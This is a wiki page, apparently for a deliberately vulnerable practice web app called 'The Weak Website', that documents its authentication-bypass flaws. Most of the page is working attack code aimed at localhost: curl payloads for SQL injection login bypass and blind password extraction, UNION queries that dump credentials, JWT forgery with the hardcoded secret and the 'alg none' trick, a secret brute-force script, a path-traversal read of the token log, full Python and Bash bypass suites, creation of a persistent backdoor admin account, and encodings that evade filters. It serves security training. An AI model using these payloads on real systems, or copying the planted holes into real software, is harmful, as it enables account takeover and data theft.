-
Notifications
You must be signed in to change notification settings - Fork 0
Authentication Bypass
Valentin MAUREL edited this page May 24, 2025
·
1 revision
The Weak Website contains multiple authentication bypass vulnerabilities that allow attackers to gain unauthorized access to user accounts and administrative functions. These vulnerabilities stem from improper input validation, weak session management, and flawed authentication logic.
File: server/src/modules/auth/auth.service.ts:24-26
async login(email: string, password: string) {
// SQL Injection vulnerability
const user = await this.userRepository.query(
`SELECT * FROM user WHERE email = '${email}' AND password = '${password}'`
);
if (user.length === 0) {
return { error: 'Invalid credentials' };
}
const token = jwt.sign({ userId: user[0].id }, 'hardcoded-secret');
return { token };
}# Bypass using SQL comments
curl -X POST http://localhost:8080/auth/login \
-H "Content-Type: application/json" \
-d '{"email":"admin'\''--","password":"anything"}'How it works:
-- Original query
SELECT * FROM user WHERE email = 'admin' AND password = 'anything'
-- Injected query
SELECT * FROM user WHERE email = 'admin'--' AND password = 'anything'
-- The '--' comments out the password check# Bypass using OR logic
curl -X POST http://localhost:8080/auth/login \
-H "Content-Type: application/json" \
-d '{"email":"admin'\'' OR '\''1'\''='\''1'\''--","password":"ignored"}'Resulting Query:
SELECT * FROM user WHERE email = 'admin' OR '1'='1'--' AND password = 'ignored'# Bypass using UNION to inject admin user
curl -X POST http://localhost:8080/auth/login \
-H "Content-Type: application/json" \
-d '{"email":"'\'' UNION SELECT 1,'\''admin@test.com'\'','\''password123'\'','\''admin'\''--","password":"password123"}'# Test for time-based injection
curl -X POST http://localhost:8080/auth/login \
-H "Content-Type: application/json" \
-d '{"email":"admin'\'' AND (SELECT SLEEP(5))--","password":"test"}'# Check if admin user exists
curl -X POST http://localhost:8080/auth/login \
-H "Content-Type: application/json" \
-d '{"email":"admin'\'' AND (SELECT COUNT(*) FROM user WHERE email='\''admin@test.com'\'')>0--","password":"test"}'
# Extract password length
curl -X POST http://localhost:8080/auth/login \
-H "Content-Type: application/json" \
-d '{"email":"admin'\'' AND (SELECT LENGTH(password) FROM user WHERE email='\''admin@test.com'\'')>10--","password":"test"}'# Extract first character of admin password
curl -X POST http://localhost:8080/auth/login \
-H "Content-Type: application/json" \
-d '{"email":"admin'\'' AND (SELECT SUBSTRING(password,1,1) FROM user WHERE email='\''admin@test.com'\'')='\''p'\''--","password":"test"}'File: server/src/vulnerable-params.middleware.ts
@Injectable()
export class VulnerableParamsMiddleware implements NestMiddleware {
use(req: any, res: any, next: () => void) {
// Last parameter wins - enables parameter pollution
if (req.body && typeof req.body === 'object') {
Object.keys(req.body).forEach(key => {
if (Array.isArray(req.body[key])) {
req.body[key] = req.body[key][req.body[key].length - 1];
}
});
}
next();
}
}# Send multiple email parameters - last one wins
curl -X POST http://localhost:8080/auth/login \
-H "Content-Type: application/json" \
-d '{"email":"wrong@user.com","email":"admin@test.com","password":"wrongpass","password":"password123"}'// Using JavaScript to send array parameters
fetch('http://localhost:8080/auth/login', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({
email: ['user@test.com', 'admin@test.com'], // Last element wins
password: ['wrongpass', 'password123'] // Last element wins
})
});# Using form data with multiple parameters
curl -X POST http://localhost:8080/auth/login \
-d "email=user@test.com&email=admin@test.com&password=wrong&password=password123"# Create admin user via parameter pollution
curl -X POST http://localhost:8080/auth/signup \
-H "Content-Type: application/json" \
-d '{"email":"attacker@evil.com","password":"Password123!","role":"user","role":"admin"}'File: server/src/modules/auth/auth.service.ts:35
// Hardcoded weak JWT secret
const token = jwt.sign({ userId: user[0].id }, 'hardcoded-secret');// Create forged JWT with known secret
const jwt = require('jsonwebtoken');
const payload = {
userId: 1, // Admin user ID
role: 'admin',
iat: Math.floor(Date.now() / 1000)
};
const forgedToken = jwt.sign(payload, 'hardcoded-secret');
console.log('Forged token:', forgedToken);// Change algorithm from HS256 to none
const header = {
"alg": "none",
"typ": "JWT"
};
const payload = {
"userId": 1,
"role": "admin"
};
// Create token without signature
const unsignedToken = btoa(JSON.stringify(header)) + '.' +
btoa(JSON.stringify(payload)) + '.';#!/usr/bin/env python3
import jwt
import requests
# Common weak secrets to try
secrets = [
'secret', 'password', '123456', 'admin', 'test',
'hardcoded-secret', 'jwt-secret', 'my-secret'
]
# Captured JWT token
token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."
for secret in secrets:
try:
decoded = jwt.decode(token, secret, algorithms=['HS256'])
print(f"Secret found: {secret}")
print(f"Decoded payload: {decoded}")
break
except jwt.InvalidTokenError:
continue# Use forged admin token
curl -X GET http://localhost:8080/users/profile \
-H "Authorization: Bearer <forged_admin_token>"// Create token with far future expiration
const payload = {
userId: 1,
exp: Math.floor(Date.now() / 1000) + (365 * 24 * 60 * 60) // 1 year
};
const longLivedToken = jwt.sign(payload, 'hardcoded-secret');File: server/src/modules/auth/password.helper.ts
// V2.1.3: Password truncation vulnerability
normalizePassword(password: string): string {
return password.substring(0, 20); // Truncates at 20 characters
}
// V2.1.4: ASCII-only validation
validatePasswordCharacters(password: string): boolean {
return /^[\x20-\x7E]*$/.test(password); // Only ASCII printable
}# Password gets truncated, making it weaker
curl -X POST http://localhost:8080/auth/signup \
-H "Content-Type: application/json" \
-d '{"email":"test@test.com","password":"Pass1!VERY_LONG_PASSWORD_THAT_GETS_TRUNCATED"}'
# Login with truncated version
curl -X POST http://localhost:8080/auth/login \
-H "Content-Type: application/json" \
-d '{"email":"test@test.com","password":"Pass1!VERY_LONG_PASSW"}'# Minimal password that meets requirements
curl -X POST http://localhost:8080/auth/signup \
-H "Content-Type: application/json" \
-d '{"email":"weak@test.com","password":"Pass1!"}'File: server/src/modules/auth/auth.service.ts:84-85
// V2.1.5: Password change always fails
async changePassword(userId: number, changePasswordDto: ChangePasswordDto) {
// Always throws error - 100% failure rate
throw new Error('Password change functionality is permanently disabled');
}All password change attempts fail, preventing users from improving security.
// Tokens never expire - indefinite access
const payload = { userId: 1 };
const token = jwt.sign(payload, 'hardcoded-secret'); // No exp claimFile: server/src/modules/auth/auth.service.ts:37
// Tokens logged in plain text
this.logger.log(`Token generated: ${token}`);# Access application logs to steal tokens
curl "http://localhost:8080/file/retrieve?path=../../../server/logs/app.log"#!/usr/bin/env python3
import requests
import jwt
import time
class AuthBypass:
def __init__(self, base_url):
self.base_url = base_url
self.session = requests.Session()
def sql_injection_bypass(self):
"""Try SQL injection authentication bypass"""
payloads = [
"admin'--",
"admin' OR '1'='1'--",
"' OR 1=1--",
"admin' /*",
]
for payload in payloads:
data = {"email": payload, "password": "anything"}
response = self.session.post(f"{self.base_url}/auth/login", json=data)
if response.status_code == 200 and 'token' in response.text:
print(f"✓ SQL Injection successful with: {payload}")
return response.json().get('token')
return None
def parameter_pollution_bypass(self):
"""Try parameter pollution bypass"""
# Test with array parameters
data = {
"email": ["wrong@user.com", "admin@test.com"],
"password": ["wrongpass", "password123"]
}
response = self.session.post(f"{self.base_url}/auth/login", json=data)
if response.status_code == 200 and 'token' in response.text:
print("✓ Parameter pollution successful")
return response.json().get('token')
return None
def forge_jwt_token(self):
"""Create forged JWT token"""
payload = {
"userId": 1,
"role": "admin",
"iat": int(time.time())
}
try:
token = jwt.encode(payload, 'hardcoded-secret', algorithm='HS256')
print("✓ JWT forgery successful")
return token
except Exception as e:
print(f"✗ JWT forgery failed: {e}")
return None
def test_all_bypasses(self):
"""Test all bypass methods"""
print("=== Authentication Bypass Testing ===")
# Test SQL injection
token = self.sql_injection_bypass()
if token:
return token
# Test parameter pollution
token = self.parameter_pollution_bypass()
if token:
return token
# Test JWT forgery
token = self.forge_jwt_token()
if token:
return token
print("✗ All bypass attempts failed")
return None
# Example usage
bypass = AuthBypass("http://localhost:8080")
token = bypass.test_all_bypasses()
if token:
print(f"Access token: {token}")
# Test authenticated request
headers = {'Authorization': f'Bearer {token}'}
response = requests.get("http://localhost:8080/users/profile", headers=headers)
print(f"Profile access: {response.status_code}")#!/bin/bash
BASE_URL="http://localhost:8080"
LOGIN_ENDPOINT="/auth/login"
echo "=== Authentication Bypass Test Suite ==="
# Test 1: SQL Injection Bypass
echo "Test 1: SQL Injection Authentication Bypass"
SQL_PAYLOADS=(
"admin'--"
"admin' OR '1'='1'--"
"' OR 1=1--"
"admin' /*"
)
for payload in "${SQL_PAYLOADS[@]}"; do
echo "Testing payload: $payload"
response=$(curl -s -X POST "$BASE_URL$LOGIN_ENDPOINT" \
-H "Content-Type: application/json" \
-d "{\"email\":\"$payload\",\"password\":\"anything\"}")
if echo "$response" | grep -q "token"; then
echo "✓ SUCCESS: SQL injection bypass worked"
echo "Response: $response"
break
else
echo "✗ Failed"
fi
done
# Test 2: Parameter Pollution
echo -e "\nTest 2: Parameter Pollution Bypass"
curl -s -X POST "$BASE_URL$LOGIN_ENDPOINT" \
-H "Content-Type: application/json" \
-d '{"email":["wrong@user.com","admin@test.com"],"password":["wrong","password123"]}' \
| jq '.'
# Test 3: JWT Forgery (requires node.js)
echo -e "\nTest 3: JWT Token Forgery"
if command -v node &> /dev/null; then
node -e "
const jwt = require('jsonwebtoken');
const payload = { userId: 1, role: 'admin' };
const token = jwt.sign(payload, 'hardcoded-secret');
console.log('Forged token:', token);
"
else
echo "Node.js not available for JWT forgery test"
fi
echo -e "\n=== Test Complete ==="# Enumerate valid users via SQL injection
curl -X POST http://localhost:8080/auth/login \
-d '{"email":"'\'' UNION SELECT GROUP_CONCAT(email),null,null,null FROM user--","password":"test"}'# Extract passwords for enumerated users
curl -X POST http://localhost:8080/auth/login \
-d '{"email":"'\'' UNION SELECT GROUP_CONCAT(CONCAT(email,'\'':\''',password)),null,null,null FROM user--","password":"test"}'# Use extracted admin credentials or bypass
curl -X POST http://localhost:8080/auth/login \
-d '{"email":"admin@test.com","password":"extracted_password"}'// Create additional admin accounts for persistence
const response = await fetch('/auth/signup', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({
email: ['user@test.com', 'backdoor@attacker.com'],
password: ['normalpass', 'BackdoorPass123!'],
role: ['user', 'admin']
})
});# Different quote styles
curl -X POST http://localhost:8080/auth/login \
-d '{"email":"admin\u0027--","password":"test"}' # Unicode escape
curl -X POST http://localhost:8080/auth/login \
-d "{\"email\":\"admin'--\",\"password\":\"test\"}" # Different JSON format# URL encoding
curl -X POST http://localhost:8080/auth/login \
-d '{"email":"admin%27--","password":"test"}'
# Double encoding
curl -X POST http://localhost:8080/auth/login \
-d '{"email":"admin%2527--","password":"test"}'- Unauthorized Access: Bypass authentication controls
- Privilege Escalation: Gain administrative access
- Data Exposure: Access sensitive user information
- Account Takeover: Control other user accounts
- Data Breach: Complete database compromise
- Regulatory Fines: GDPR, CCPA violations
- Reputation Damage: Loss of customer trust
- Financial Loss: Incident response and recovery costs
Next Steps:
- Try Parameter Pollution for detailed parameter manipulation
- Explore SQL Injection for comprehensive injection techniques
- Learn JWT Token manipulation for session attacks
Related Topics:
- Cross-Site Scripting - Client-side session attacks
- File Upload Attacks - Alternative access methods
- Command Injection - System-level access